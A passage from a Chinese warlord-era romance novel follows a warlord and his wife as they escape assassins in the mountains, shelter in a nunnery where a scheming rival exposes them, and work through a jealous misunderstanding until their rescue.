他用一把藤蔓拧成的绳索,直接从后面套住男人的脖颈,用尽全身力气向后一勒!
男人没料到背后有偷袭,猝不及防被勒得双眼圆睁,手里的刀也“哐当!”落地,双手紧抓着脖颈间越收越紧的绳索,喉咙里发出窒息的嗬嗬声。
晏山青背后的伤口因为用力而崩裂,鲜血渗出,但他面色冷硬,手臂稳如磐石,死死勒着不放。
直到男人的挣扎逐渐微弱下去,他才冷斥一声:“说!是谁派你们来的!”
男人被勒得面色铁青,濒死的恐惧压倒了一切,他艰难地挤出声音:“饶……饶命!我们也不知道……是有人花钱雇的我们,我们只是收钱办事……”
“雇主什么模样?”晏山青手上的力道稍稍一松,让他能说话。
“是个男人,蒙着脸,看不见……他左手手背上有一道很深的刀疤,给钱的时候看到的……说话带点北海那边的口音……好汉,我知道的都说了,饶了我吧!”
晏山青见问不出什么,便不再犹豫,手上猛地用力,直到将那人勒得晕死过去,他才松开藤蔓。
那人像一摊烂泥瘫倒在地,晏山青试了一下他的鼻息,确定没有断气,便迅速用藤蔓捆住他的手脚。
江浸月跑到晏山青的身边,看到他背后的血迹又扩大了一圈,她咬了咬唇,又从树上摘了几个野果,粗暴地塞进那人的嘴里——防止他醒过来后呼救。
又跟着晏山青一起将这人拖进山洞深处,用野草盖住。
留一个活口,后面可以指认。
解决完追兵,两人都靠在山壁上喘气,晏山青抬起眼,看着对面的女人,忽然一笑:“杀人都不怕?胆子这么大?”
又刷新了他对她的认知。
江浸月闷声说:“不是他死就是我死,比起我死,还是他死吧。”
晏山青勾唇,伸手:“手给我。”
江浸月不明所以地把手递过去。
晏山青握住,一下就感觉到她掌心的冰凉,和身体不受控制地颤抖。
“还以为你真的不怕。”他嘲笑。
江浸月不服气道:“……我是第一次杀人。”怕一下也很正常吧?
晏山青垂眼,用自己的袖子,将她沾了血的手心一点点擦干净,江浸月看他这个动作,不知怎的,有些发呆。
他说:“不会有下次。”
不会再让她沾血了。
督军夫人应该隔帘坐高阁,而不是满身泥泞与血污,否则岂不是督军的无能?
他说得很随意,但落在江浸月的耳朵里,却有种郑重许诺的感觉,她便轻“嗯”了一声。
擦干净她的手,晏山青就突然一下像泄了气似的,身体往前踉跄,江浸月吓了一跳,连忙扶住晏山青。
“你的伤口又裂开了!”
“没事。”晏山青声音沙哑,“这里不能再待了,他们的人发现这两个没回去,肯定会找到这里,我们必须马上离开。”
江浸月点头,两人互相倚靠着,踉踉跄跄离开这个临时避难所,朝着更深的密林走去。
晏山青的状况比看起来更糟,没走多远,江浸月就感觉他的身体重量越来越多地靠向自己,身上的体温也高得吓人。
江浸月立刻伸手去摸他的额头。
“怎么了……”
江浸月紧张道:“晏山青,你发烧了!”
晏山青皱了一下眉:“小问题,快走。”
结果他话音刚落,脚下就被一块凸起的树根绊了一下,整个人失去平衡,带着江浸月一起猛地向前扑倒!
第86章 不合时宜的暧昧
“小心!”
祸不单行,他们身侧便是一道陡坡,这一下直接顺着斜坡滚了下去。
江浸月有了上次的经验,蜷身护头,虽然摔得七荤八素,但总算没有增添太多的新伤。
她挣扎着爬起来,拨开沾了草屑的头发,焦急地四处张望,很快发现不远处的晏山青。
他正试图用手肘撑起身体,但后背的伤口太深了,让他每一次发力都伴随着剧痛,忍不住闷哼,脸色苍白。
“晏山青!你别乱动!”
江浸月忍着脚踝的刺痛,一瘸一拐地走到他身边扶住他。
晏山青抬起眼看她,因为失血和高烧,他深邃的眼眸不似平日那般锐利,蒙着一层虚弱的阴翳。
“死不了。”
江浸月没理会他的嘴硬,环顾四周,看到不远处有一条山涧小溪,心中一喜:“那边有溪水,我们先过去吧。”
她口干舌燥。
“嗯。”
江浸月将他一条手臂绕过自己的脖颈,搀着他走。
晏山青几乎是将全身的重量都倚靠在她身上,江浸月除了觉得重,还感觉到他灼热的体温隔着衣物源源不断地传过来。
江浸月小心地将他安置在河滩上,累得气喘吁吁,鬓发也被汗水黏在脸颊边,她先蹲在溪边,用手捧起泉水连喝了好几口,渴得快冒烟的喉咙终于得以缓解。
她又捧了水,跑回晏山青身边:“晏山青,喝点水吧。”
男人微微仰起头,就着她的手缓慢吞咽,几缕清水顺着他线条冷硬的下颌滑落,没入衣领之中。
“晏山青,你烧得很厉害,”江浸月蹙紧眉头,“再这么烧下去,恐怕会有危险。”
晏山青道:“不至于。”
江浸月忍不住回他一句“你是医生还是我是医生啊”,总是逞强!
晏山青就没话说了。
江浸月想着用毛巾浸湿冷水,给他的额头物理降温,但这是荒郊野岭,哪有毛巾?
他们身上的衣服又都是比较硬挺的布料,不好用,除非是……
江浸月低头,看了看自己胸前,脸上顿时腾起一股热意,比高烧的晏山青好不了多少。
事急从权,只能这样了。
她看了晏山青一眼,抿唇,转过身去。
晏山青原本半阖着眼,听到她窸窸窣窣的动静,慢慢睁开眼。
只见江浸月背对着他,手指飞快地解开骑马装的纽扣,衣衫滑落,露出里面一件水红色的肚兜。
“……”
她背部的肌肤莹白如玉,肩颈线条优美而脆弱。
晏山青的呼吸几不可察地一滞,眸色瞬间暗沉下去,如同深不见底的悬崖。
江浸月能感觉到身后那道目光,脸颊滚烫,心跳加速,她强作镇定,飞快地将肚兜解下来,又重新拉好外衫,这才转过身。
她不敢去看晏山青此刻的表情,低着头,快步走到溪边,将肚兜浸入冰凉的溪水中,彻底浸湿后,拧到半干。
然后回到晏山青面前,蹲下身,将折好的肚兜轻轻覆上他滚烫的额头。
凉意让晏山青的眉心松开,而比那凉意更明显的是布料上残留的,属于她的淡淡香气,丝丝缕缕钻入他的鼻间,缠绕上他因为高烧而异常敏感的神经。
他抬起眼,目光灼灼,如同带着钩子,紧紧勾住近在咫尺的江浸月。
“……”江浸月被他看得浑身不自在,连耳根都染上艳色,下意识想离开。
“别乱走。”晏山青低沉开口,声音比刚才更加低哑,“这里也不算安全。”
江浸月就不动了,坐在他身边,两人半天都没说话,只有若有若无的暧昧在空气中不合时宜地挥发。
每过一会儿,江浸月就将晏山青额头上的肚兜拿下来,重新到溪边过一遍冷水,再敷到他的额头上,反反复复三四次后,他额头的温度摸着好像有点降了。
江浸月又把上他的脉……完蛋。
降温只是表面,他的脉息还是很混乱。
晏山青如果真死了……江浸月不由自主地想起他昨晚说的话。
那些话,在那之前,她从来没有想过……现在想,他死了,确实算是给沈霁禾报仇了。
而且沈家和江家还少了一颗定时炸弹,她不用再时刻担心他会斩草除根,她甚至可以舒舒服服地回江家做她的三小姐,不用再被老夫人刁难,被他那些真真假假的女人算计。
真是一本万利的好买卖。
但。
她的目光落回他的脸上,从紧蹙的眉骨到高挺的鼻梁,最后停驻在那两片因为失血而干燥苍白的薄唇上。
唇……昨夜山洞里那个带着野果酸涩味的吻,撞入她的脑海,让她心口猛地一跳。
她连忙别开脸,不动声色地呼吸了一口清冷的空气。
他不能死。
不是报仇的事,也不是她对他动没动情的事。
而是,他要是死了,刚稳定下来的南川即刻就会陷入大乱,届时无人能稳住局面,外部势力一定会趁机入侵,到时候又是战火纷飞,民不聊生。
而硝烟过后,新上任的南川之主,不一定比晏山青好说话,她可能连从中斡旋都没有办法,沈家和江家更加岌岌可危。
所以,最好就是维持现状,由晏山青坐镇南川。
“在想什么?”晏山青低哑的声音打断她的思绪。
江浸月回过神,对上他的视线,下意识掩饰:“没……你的脉象不太好。”
“能撑到苏拾卷来。”他扯了扯嘴角,随后目光下移,落在她的腿上,“你的脚怎么样?”
江浸月:“就是疼。”
晏山青伸手握住她的脚踝。
“你干什么?”江浸月想缩回,却被他牢牢攥住。
他小心地褪下她的马靴和袜子,只见原本白皙纤细的脚踝此刻又红又肿,像个发酵的馒头。
“应该是崴伤,不是骨折,否则你撑不了这么久。”晏山青说着,指腹开始不轻不重地按揉着伤处周围的穴位。
“嗯……”猝不及防的酸胀感让江浸月闷哼出声,手指下意识地抓住了身下的草叶。
“忍着点。不把瘀血揉开,更走不了路。”晏山青打起眼,“放心,我虽然不是医生,但行军打仗时也要自己处理一些小伤,还是有经验的,不会弄坏你。”
江浸月:“……”记仇的小心眼男人。
晏山青指腹带着薄茧,一下又一下地揉捻着她,起初是尖锐的疼,渐渐地,一种奇异的酸麻感取代了疼痛,江浸月紧绷的神经也不知不觉地松弛下来。
寂静的山谷里,只有溪流的淙淙声和偶尔的鸟鸣。
江浸月突然觉得有点“难受”。
不是身体的,是心理的。
他滚烫的掌心几乎要烙进她的皮肤,那缓慢又持续的揉按,不像疗伤,反倒像一种无声的厮磨,她觉得空气都变得黏稠了。
江浸月感觉自己的脸颊又开始发烫,她正想说点什么打破这种令人心慌的暧昧,就在这时,旁边突然传来细微的脚步声。
第87章 竟然遇到老熟人
江浸月心头一紧,下意识去摸匕首,以为是追兵又来了!
没想到出现在他们眼前的,却是两个穿着灰色棉布道袍的尼姑。
她们一人背着柴筐,一人拿着镰刀,像是出来拾柴的。
那两个尼姑看到他们的样子,愣了一下,旋即双手合十,念了一句佛号:“二位施主可是遇到什么难处?”
江浸月和晏山青对视一眼,然后说:“师太,我们进山打猎,不小心遇到了老虎,从山坡上摔下来,都受了伤。”
尼姑很好心:“原来是这样。贫尼的庵堂就在不远处的半山腰,若是施主不嫌弃,可随贫尼先到庵中处理伤口、更换衣物、稍作休息。也可以安排人去通知你们的家人来接。”
!这简直就是雪中送炭!!
江浸月立刻去看晏山青,眼神询问。晏山青想了想,点头。
江浸月连忙道谢:“多谢师太!”
两位尼姑帮忙搀扶起晏山青,江浸月一瘸一拐地跟在后面。
走了一段路后,就到了她们说的那座尼姑庵。
她抬起头去看匾额,却是微微一愣。
静心庵。
这个名字……
怎么好像在哪里听过?
来不及多想,江浸月便跟着那两位尼姑踏入静心庵。
庵内清幽寂静,只能听见木鱼的敲打声,一位看起来是管事的中年尼姑迎了上来,听了同伴的讲述后,便安排他们进了一间厢房。
厢房古朴干净,她们先将晏山青放在床上,然后又拿了一套灰色的僧袍递给江浸月:
“施主,这里有几件粗布衣裳,虽然是旧衣,但都是清洗干净的,施主可以先换上。”
江浸月连忙接过道谢。
她身上的衣服都脏兮兮又破烂烂,能换一身也舒服一点。
等她在里间换好僧袍走出来,两位小尼姑已经走了,只剩下那位管事尼姑。
管事尼姑看着江浸月:“两位施主想必也饿了吧?庵中有现成的斋饭,贫尼这就去取来。”
江浸月已经一天一夜没吃东西了,确实很饿:“有劳师太了。”
管事尼姑点了点头就要走,江浸月想到什么,摸了摸自己的头发——幸好,还有一根宝石簪子。
她将簪子拔了下来:“师太。”
管事尼姑转身,江浸月将簪子递过去:“师太,这个还请您收下,就当是我们一点香油钱,感谢贵庵的收留。”
管事尼姑连忙摆手:“使不得使不得,出家人慈悲为怀,这不过是举手之劳,施主不必客气。”
江浸月却坚持将簪子塞进她手里,语气诚恳:“还请师太务必收下。另外,我还想拜托您一件事……我们此行是遭仇家暗算,如果有人来庵中打听我们二人的踪迹,万望师太帮忙周旋,只说从未见过我们。”
“……”管事尼姑握着簪子,看了看江浸月,又看了看晏山青。
这两个人虽然落难,浑身狼狈,却也看得出气度不凡,绝不是一般人。
管事尼姑面露犹豫,是在考量要不要收留这两个可能带来危险的隐患。
晏山青开口:“师太行个方便,今日之恩,晏某来日必会百倍奉还。”
管事尼姑愣了一下:“晏?您是……”她现在才注意到,男人身上穿的是军装,“您是晏督军?”
晏山青目光沉沉:“正是。”
管事尼姑脸色一变,很快做出了抉择,双手合十道:“两位施主放心,贫尼明白了。庵中清静,不会有多余的人来打扰的。”
“稍后贫尼再让小尼姑送来清水和药箱,施主若还有别的需要,尽管提出,静心庵会尽量做到。”
“多谢师太。”江浸月真心实意地道谢。
管事尼姑离开后,江浸月回到床边问晏山青:“师太怎么会认识督军?”
晏山青道:“母亲给静心庵捐过香油钱,宋知渝也是被送到这里清修,管事师太自然认得我。”
江浸月愣了一下,这才明白过来:“难怪我觉得静心庵这个名字耳熟。”
原来是宋知渝待的地方。
还真是……“有缘”啊。
这时,一个小尼姑送来清水和药箱,江浸月道谢接过。
又拧了湿布,替晏山青擦拭脸颊和脖颈的血污与尘土,动作间难免碰到他的皮肤,他没什么反应,江浸月的指尖却有些烫。
清理完,她在药箱里翻找,找到退烧药,也给晏山青吃了。
晏山青咽下后,道:“庵堂也不能久留,等送饭的人过来,让她设法去给苏拾卷报信。”
江浸月正有此意:“我也是这么想。”
……
管事的尼姑从厨房里端出饭菜,正要送去厢房给江浸月和晏山青。
突然!
庵堂大门方向传来一阵粗暴的砸门声,伴随着凶恶的呼喝:“开门!快开门!”
她吓得手一抖,差点把托盘摔了。
想起厢房里那两位的身份和叮嘱,她强自镇定,对走廊下正在洒扫的尼姑喊道:“知渝!你过来,把这份斋饭送到东边第二间厢房的香客那里,再告诉香客,有不速之客来了,让他们无论如何不要出声!”
那个被呼喊的尼姑抬起头,露出一张憔悴但依旧能看出昔日清丽轮廓的脸庞——正是宋知渝!
她低眉顺眼地应了声,放下扫帚,将手在衣服上擦了擦,接过托盘,默默走向东厢房。
自从被老夫人送来清修,她就成了静心庵里最普通的尼姑,因为老夫人没有额外吩咐,她在这儿也没有任何优待,要跟着其他尼姑一起诵经、洒扫。
都说静心庵能修身养性,还说佛法无边、让人无欲无求,但宋知渝没有一天不想着离开这个鬼地方!
更没有一天不惦记着害她沦落到这般境地的江浸月!
她走到那间厢房门口,刚要敲门,无意间从旁边半开的窗户缝隙里看到了里面的情形,眼睛顿时一睁!
这是……江浸月?!
她差点以为是自己太恨那个贱人,出现了幻觉,连忙闭了闭眼,再看——还真的是她!
她又猛地看向床铺,那里躺着的赫然就是晏山青!
他们怎么会在这里??
宋知渝十分惊讶,联想到老尼姑略显紧张的神色,以及那句没头没尾的话,她隐隐约约猜到了什么……
她眯了眯眼,没有直接进去,而是将托盘放在房门口,抬手敲了敲门,随即迅速闪身躲进转角处的阴影里。
房内的江浸月听到敲门声,打开门,只看到门口放着的饭菜,却不见尼姑的人影。
她有些疑惑,将托盘端了进去。
暗处的宋知渝看着她关门,眼底闪过一丝暗芒,倏地转身走向庵堂大门。
在靠近门房的地方,她看到老尼姑正在跟两个穿着黑色粗布衫、一看就来者不善的男人说话。
那两个人正在跟尼姑打听人,形容的模样正是晏山青和江浸月。
“……二位施主,贫尼从未见过这样相貌的香客。庵中这两日也不接待外客,所以你们说的人,贫尼是真的没见过。”管事尼姑的声音有些紧张。
一个黑衣人威胁道:“师太,你想清楚了再说,要是知情不报,别说是你,就是你这尼姑庵,都要遭灭顶之灾!”
管事尼姑磕巴了一下:“真、真的没见过。”
宋知渝躲在暗处,将这一切尽收眼底,嘴角慢慢勾了起来。
真是……天赐良机。
她离开这个鬼地方的机会来了!
第88章 幕后主使竟然是他
那两个黑衣男人打量了管事尼姑几眼,料想她一个出家人也不敢撒谎,便打算去别处搜寻。
宋知渝却在这时从廊柱后转了出来,满脸无辜地对管事尼姑说:“师太,您吩咐的斋饭,我已经送到东边厢房那两位香客的手里了。”
此言一出,犹如平地惊雷!
原本要走的黑衣男人猛地转身,目光锐利如刀,直刺向管事尼姑:“老尼姑!你不是说庵内不接待外客吗?东厢房的香客是谁?!”
管事尼姑脸色瞬间惨白,嘴唇哆嗦着:“不、不是……”
“还敢狡辩!”黑衣人一把将她推开,对着身后厉声喝道,“来人!给我搜庵!一间房也不准放过!”
一声令下,门外竟然又涌进七八个黑衣男人,如狼似虎般冲向庵内各处厢房。
宋知渝眼见计划得逞,心中狂喜,趁着一片混乱,立刻转身,抄近路,飞奔向后院。
与此同时,厢房内。
前院传来的喧哗声打破庵内的清净,江浸月倏地站起身:“他们来了!”
晏山青凝神听了一会儿外面的脚步声:“来不及离开了。”
他的目光迅速扫过江浸月身上的灰色僧袍,又瞥见那边的桌子上有个香炉,他思路清晰得可怕:“你把脸涂黑了,然后声东击西。”
江浸月瞬间明白他的意思,没有丝毫犹豫,冲到桌子前抓起一把香灰,混着水,迅速抹在脸上和脖子上,掩盖了原本清丽的容貌。
接着,她快步走到后窗,抬脚,用力在窗台内侧按下一个模糊的脚印,又将窗外摆放的一盆兰花推倒在地。
她刚做完这一切,房门就被“砰”地一声撞开,宋知渝气喘吁吁地冲了进来,脸上带着精心演练好的惊慌:
“青哥、夫人,不好了!追兵找到庵里来了!已经在前院搜查了!”
江浸月眼睛一眯:“你怎么知道我们在这里?又怎么知道是来找我们的?”
“师太让我来送饭,我看到屋内是夫人和青哥,想着之前犯下大错,夫人和青哥怕是不想看到我,所以才将斋饭放在门口离开……但我听到那些人描述的模样就是青哥和夫人,我必须救你们啊!”宋知渝情真意切的。
晏山青当机立断:“你们两个装作洒扫的尼姑,应该可以蒙混过关。”
江浸月:“那你呢?”
晏山青的视线随即落在墙边那个装杂物的大木箱上:“我躲在箱里。”
只能这样了!江浸月立刻打开箱子,将里面的杂物搬出来,晏山青跨进箱子里。
“青哥!”宋知渝扑上来帮忙盖上箱盖,声音带着哭腔,“青哥,你千万要藏好!知渝从前糊涂,犯下大错,今日就是拼了这条命,也一定会护你周全!”
晏山青理都没理她,箱子盖上前,他只看了江浸月,无声地传递一句“小心”。
几乎就在箱盖落下的同时,房门被粗暴地踹开!
几名黑衣人涌入,领头者鹰隼般的目光瞬间锁定宋知渝,厉声呵斥:“你刚才还在前院,怎么比我们先到,说!是不是来通风报信的?!”
宋知渝吓得浑身一颤,脸色惨白,刚要张口——
江浸月抢先一步,带着哭腔道:“师、师妹!我都说了我们不能私藏外人,现在可怎么才好啊?师太定会重罚我们的……”
她一边说,一边暗中在自己腿上狠狠一掐,生理性的泪水瞬间涌上,配合那满脸黑灰,显得无比可怜狼狈。
管事尼姑刚好赶到,她反应也快,立刻故作呵斥:“什么?你们竟然私藏外人?岂有此理,你们的晚饭没有了!”
江浸月和宋知渝立刻哭作一团。
“都闭嘴!”领头黑衣人果然被引开注意,呵斥完管事尼姑,又继续逼问江浸月,“私藏的人什么模样?说清楚!”
江浸月哆哆嗦嗦地指向后窗:“是、是一男一女,身上都带伤……我们心软让他们进来歇脚,谁知他们刚才听到动静,打翻花盆就从后窗跑了!”
窗边的黑衣人喊道:“头儿!窗台有脚印!他们肯定是听到声音翻窗跑了!”
证据确凿!领头黑衣人不再怀疑这两个“吓破胆”的尼姑,恶狠狠道:“追!你们要是敢撒谎骗我们,饶不了你们!”
一群人呼啸着朝错误的方向追去。
江浸月顿时松了口气。
管事尼姑连忙道:“我、我去外面看着,以防他们去而复返。”
宋知渝则是第一时间跑到箱边,打开箱子:“青哥,没事了,他们走了!”
晏山青因缺氧和疼痛脸色更加苍白,他道:“此地不宜久留,我们得走了。”
“不可啊青哥!”宋知渝却是阻拦,“青哥,山里都是他们的人,你们这样走不远!不如先藏到厨房的地窖里,那里极为隐蔽,一般人找不到!我这就去督军府报信,带人来救你们!”
晏山青沉默地看着她,那目光仿佛能穿透人心,宋知渝被看得几乎维持不住表情。
她噗通一声跪下:“青哥!就让我将功折罪吧!”
晏山青才缓缓开口:“不必去督军府,去山的另一边营地,找苏拾卷。这件事你如果做成了,我记你一功。”
宋知渝脸上狂喜,连连点头:“是!知渝明白,定不辱命!”
说完,她转身快步离去。
江浸月愈发不安:“到底是谁?这么大张旗鼓紧追不舍,一定要置我们于死地?”
晏山青靠着墙,他的烧退了,脸色比刚才好多了,目光沉静地望着她,语气幽深:“你真的猜不出是谁吗?”
江浸月心里咯噔一下,抬起眼跟他对视。
晏山青慢慢道:“手上有疤,那个人的亲信手上就有疤痕;还有北海口音,那个人是哪里派来的,你应该没忘吧;更别说,他还突兀地跑到这山里,也是他提议的打猎。”
“……”
蒋临泽。
江浸月抿唇道:“他为什么呢?”
“于公,军政府对我不满不是一天两天了,如若刺杀成功,军政府就能一口气接管东湖和南川两大地区;于私,”
晏山青目光像覆了一层寒霜,“你成了我的督军夫人,他怎么可能不恨我?”
第89章 说开芥蒂:督军真幼稚!
“……但光凭手上有疤和北海口音,就断定是蒋临泽做的,会不会太草率了?”江浸月不由得道,“万一有人故意栽赃,想借督军的手对付军政府、搅乱局势呢?”
“到了这一步,你还是信他。”晏山青语气很沉。
“我是觉得事关重大,还是要有更确凿的证据比较好。”江浸月的话很中肯,“免得闹出误会,引发战火,到时候受苦的还是黎民百姓。”
话倒是说得冠冕堂皇。晏山青盯着她:“你敢说你没有半点私心?”
江浸月抿了抿唇,没有否认:“他毕竟是我的兄长,你怀疑他做下刺杀督军这种大事,那我请督军明鉴,也不算以私害公吧?”
“你的兄长是江泊禹和江泊远!”
江浸月觉得他找茬,也有些来气:“蒋临泽以前叫江临泽,是我爸妈的养子,在我家那么多年,照顾我、护着我,我怎么就不能把他当成兄长?”
“那是以前。他早就被赶出江家,连岳父岳母都不认他了,就你还放不下这个所谓的‘养兄’。”晏山青越说语气越冷。
江浸月被他噎得说不出话:“我——”
“你到现在还不知道我这段时间在气什么。”晏山青忽然往前一步,逼得江浸月不得不后退,他呼吸有些重,带着恼火,“是不知道,还是根本就不在意我如何?”
一提起他前段时间的所作所为,江浸月就觉得胸腔里堵了一口气,上不来也下不去,梗得难受,她别开头:
“督军喜怒无常!我又不是你肚子里的蛔虫,我哪知道你为什么突然不高兴!”
晏山青沉声:“我气的就是你这副既不在乎我为什么高兴,也不在乎我为什么不高兴的样子!要是换成沈霁禾,我不信你也会这样不在意!”
……?江浸月突然愣住。
他这句话太情绪化了,完全不像是平时的晏山青会说的……她回头看着他,他的眼睛乌沉沉的,里面翻涌着她此前从未见过的色彩。
她突然串联起这段时间的事情。
从在西江时,他对陈文轩靠近的不悦,到对沈霁禾遗物的在意,再到回南川后对蒋临泽一次又一次的针锋相对,还有山洞里那个带着野果酸涩味的吻……
电光石火间,一个不可思议的念头撞进她的脑海里——所以他的阴晴不定、喜怒难辨、时好时坏,实际上是介意她跟别的男人有关系,也就是俗称的……吃醋?
他真的是吃醋……不是她以为是占有欲或者掌控欲作祟,就是男人对自己女人心里有别的男人的那种吃醋……
“……”
江浸月心脏突然剧烈跳动起来。
她眼睫闪烁了几下,抿住了嘴唇,静了好一会儿,才轻声说:“沈霁禾从不会‘突然’不高兴。他就算生气,也会告诉我原因。”
晏山青眼神一暗,果然,在她心里,谁都比不上沈霁禾。
他无话可说了,转身就要进屋。
“所以我不是不在意督军为什么不高兴,”江浸月却在这时接下去继续说,“而是我没经验,不知道怎么应对,只能在垆雪院等督军回来,我再好好问问……但督军一连半个月都没有回来,没有给我问的机会,我这半个月,想了很多很多。”
晏山青脚步蓦地顿住,一下回过头看她。
江浸月低声:“好不容易在山里见到督军,督军身边却已经有了小美人,这个时候我再凑上去说什么,不是自讨没趣吗……明明是督军先对我拒之千里,却反过来怪我不在意督军,真是恶人先告状。”
“……”
她还穿着那身过于宽大的灰色僧袍,脸上涂着乱七八糟的香灰,明明狼狈不堪,偏偏那双眼睛清澈见底,直直地望着他,带着一种不自知的可怜意味。
晏山青心头的愠怒,在她那些话语,和这副模样面前,倏然松动、塌陷。
他垂眼去看她红肿的脚踝,想起他们这一天一夜的共患难,喉结滚动,到底是平复了火气,只是语气还硬着:
“都说江三小姐聪慧过人,原来也有不懂的时候。”
“所以督军的意思是,以后你不高兴,我就要哄你,是吗?”江浸月慢慢地说,“如果是,那我会做好的。可我真的不是督军肚子里的蛔虫,有些事,你不说,我又怎么会知道?”
晏山青重新走回她面前:“我不需要你时时刻刻来哄我,我只问你一句,你跟蒋临泽,真的没有别的感情?”
“没有。”江浸月答得坦坦荡荡。
“好,我信你。”晏山青语气缓了下来,“之前是我误会你们了。”
江浸月看着他:“那督军现在还不高兴吗?”
晏山青舔了一下干燥的唇:“不了。”甚至是,高兴了。
“哦。”她继续问他,“那我再确认一下,免得我又会错意,惹督军不高兴——那个穿桃红衣服的姑娘,是督军打算纳进门的妾吗?”
“不是。”
晏山青答得干脆,“那是手底下的人送来的,我本来没要,那天看见你和蒋临泽在一起,心里不痛快,才故意带过去气你。”
“哦。”江浸月闷声,“督军真幼稚。”
晏山青抬手,用拇指蹭掉她脸颊的香灰,道:“到底是不是蒋临泽安排的刺杀,我会查个水落石出,我也不是胡乱冤枉人的督军。”
擦着擦着,他顺势捏起她的下巴,语气缓和了很多,但依旧很霸道,“你以后,给我跟他保持距离,我不喜欢你们在一起。”
江浸月说:“我们本就没有过度来往。”
她一直都记着,蒋临泽现在是军政府的人,跟晏山青是表面和谐,本质对立的关系,哪里敢过度接触。
晏山青这才满意。
一波未平一波又起,管事尼姑慌慌张张地跑过来:“二位施主,不好了!又有一队人朝着庵里来了!穿着军装,不知道是哪路人马,快要到山门了!”
按理说,南川本地的军队只有晏山青的人,但凡事无绝对,还是要小心为上。
江浸月当机立断:“督军先躲起来,我跟师太去看看情况!”
她转身要走,却被晏山青一把抓住手腕:“你脸上的伪装太过粗糙,刚才那些人没细看才被你蒙混过关,但未必每一次都有那种好运。”
他将她往自己身边一拽,“跟我一起躲起来。”
江浸月觉得两个人都躲起来,万一来的是他们的人,那不是错过了吗:“我在外面可以随机应变。”
晏山青沉声:“不准冒险。”
“二位施主,快些决定吧!他们人就要到了!”管事尼姑急得不行。
晏山青直接将江浸月强行拉到那口大木箱前,把人塞了进去,随后自己也挤了进来。
管事尼姑为他们盖上箱盖,世界瞬间陷入一片黑暗与寂静,只剩下彼此的呼吸声,和一下又一下的心跳声。
砰砰,砰砰。
不知道是她的,还是他的,又或者是他们两个人的。
“……”
木箱再大,能大到哪里去,容纳两个成年人就是非常勉强,他们的身体完全贴在一起,江浸月连呼吸都不敢太用力,而晏山青的气息都喷洒在她的后颈上。
不知过了多久,可能是五分钟,也可能是十分钟,箱盖突然被人从外面一下打开,骤然涌入的光线让两人都下意识抬起头去看——
第90章 夫人疼督军,督军也会护夫人
是苏拾卷!
来的人是苏拾卷!
江浸月和晏山青都笑了——好了,彻底安全了。
这一天一夜的惊心动魄,终于过去了。
苏拾卷看到箱子里的两个人,快速扫了一圈,确定他们胳膊腿都还在,是个全乎人,顿时松了口气:
“我的督军大人、督军夫人啊,可算找到你们了,真的吓死小的我了!”
晏山青艰难地站起身,没好气地骂道:“来得这么慢,是想给我收尸?”
苏拾卷一边扶他出来,一边申辩:“天地良心啊,这座山有多大你又不是不知道,我们就带了这么点人手,本来就不是一时半会能找到的。”
“而且我们在找你们的时候,发现还有另一队身份不明的人不知道在干什么,我还得分出精力去查探,真是一口气都不敢歇。”
“直到从驻地调来了更多人手,铺开了搜山,这才找到你们。”
“办这么点事就哭爹喊娘,我看你这个参谋长,换人当得了。”
江浸月从箱子里出来,理了理微乱的僧袍,对苏拾卷道:“苏先生,辛苦你了。”
“还是弟妹会说话。”苏拾卷立刻眉开眼笑,“这才叫知书达理,跟某些一点都不知道感恩的家伙就是不一样。”
江浸月想起一件事,问道:“苏先生赶过来的路上,可有遇到宋小姐?”
“宋知渝?”苏拾卷摇头,“没有。”
“看来是错过了。”江浸月明白了。
晏山青在椅子上坐下,眉目黑沉:“你现在带了多少人?”
苏拾卷报了个数。
晏山青眼神一凝:“给你一个将功折罪的机会——朝东边那条路追,有一队黑衣人,全都给我拿下,带回来好好审,我倒要看看是谁在幕后主使。”
“行。”苏拾卷收敛了玩笑的神色,转身去点兵点将,又安排人将晏山青和江浸月送回驻地。
驻地有军医,立刻为两人诊治。
江浸月的脚踝是崴伤,没有伤到骨头,军医开了活血化瘀的药膏,用个十天半个月就会好;晏山青伤得最重,后背的爪痕极深,皮肉翻卷,但好在也没伤到根本,性命无忧。
傍晚时分,苏拾卷风尘仆仆地回来复命:“人都抓到了,都关在牢里。我让副官去审了,等撬出话来再告诉你。”
晏山青刚喝了药,靠在床头,脸色依旧不好看:“嗯。”
话音刚落,帐外忽然传来一阵喧哗,夹杂着女人的哭喊声:“青哥!青哥你在里面吗?让我进去看看你!青哥!”
是宋知渝的声音。
紧接着,守卫通报:“督军,老夫人到了。”
“请进来。”
晏山青治下极严,没有他点头,就算是督军的母亲来了,守卫也不敢直接放进来。
老夫人被嬷嬷扶着,脚步急切地走到床边,满眼都是担忧:“山青,山青,我听他们说你在山上打猎遇到了刺客,受了伤,现在怎么样?”
她是真担心晏山青的情况。
晏山青道:“母亲放心,只是皮外伤,休养几日便好。”
老夫人舒了口气,总算放下心,看到另一张榻上躺着的江浸月,象征性地问了一句:“浸月也受伤了?没事吧?”
“有劳母亲挂心,只是轻微扭伤,不碍事的。”江浸月的目光落在老夫人身后的宋知渝。
宋知渝眼睛红肿,一副担忧至极的模样。
老夫人点了点头,旋即就将话头引向宋知渝:“这次多亏了知渝,要不是她不顾安危,翻山越岭出来报信,拾卷也不能这么快找到你们。”
苏拾卷:“……”
“山青啊,知渝之前是犯了些错,但这次也算将功折罪了。你看是不是应该给她一些奖赏,让她结束清修,回到督军府?毕竟是个姑娘家,总待在尼姑庵里也不是个事啊。”
晏山青的目光淡淡地扫向宋知渝。
宋知渝立刻扑到床前,泪珠滚落得恰到好处:“青哥!我知道错了,以后再也不敢惹你生气了,更不敢再痴心妄想什么,只求能留在督军府,照顾你和老夫人……哪怕做个端茶送水的丫鬟,我也心甘情愿的!”
老夫人心疼地搂住她单薄的肩膀:“山青,你看知渝都被磋磨成什么样子了?这两个月在静心庵,她吃斋念佛,真心悔过,原本多水灵的一个姑娘啊,现在憔悴成这样……她毕竟是你从小一起长大的妹妹,你就真狠得下这个心?”
宋知渝眼珠一转,转而扑到江浸月的榻前,抓着她的衣袖哀求:“夫人,求您原谅我这一次吧!往后我一定尽心尽力伺候您,绝不敢有半点逾越!”
老夫人脸色一沉:“这次要不是知渝冒死报信,你们还不知道要遭多少罪呢,知渝功不可没,难道还换不回一个将功补过的机会?”
江浸月静静地看着这场表演,待老夫人话音落下,才轻声道:“母亲,苏先生是自己找到我们的,并没有与宋小姐相遇。”
她顿了顿,在老夫人变脸前从容接上,“不过宋小姐确实有心相助。既然母亲想让宋小姐留在身边解闷,那就留下吧。”
宋知渝喜形于色,连连叩首:“多谢夫人!多谢老夫人!”
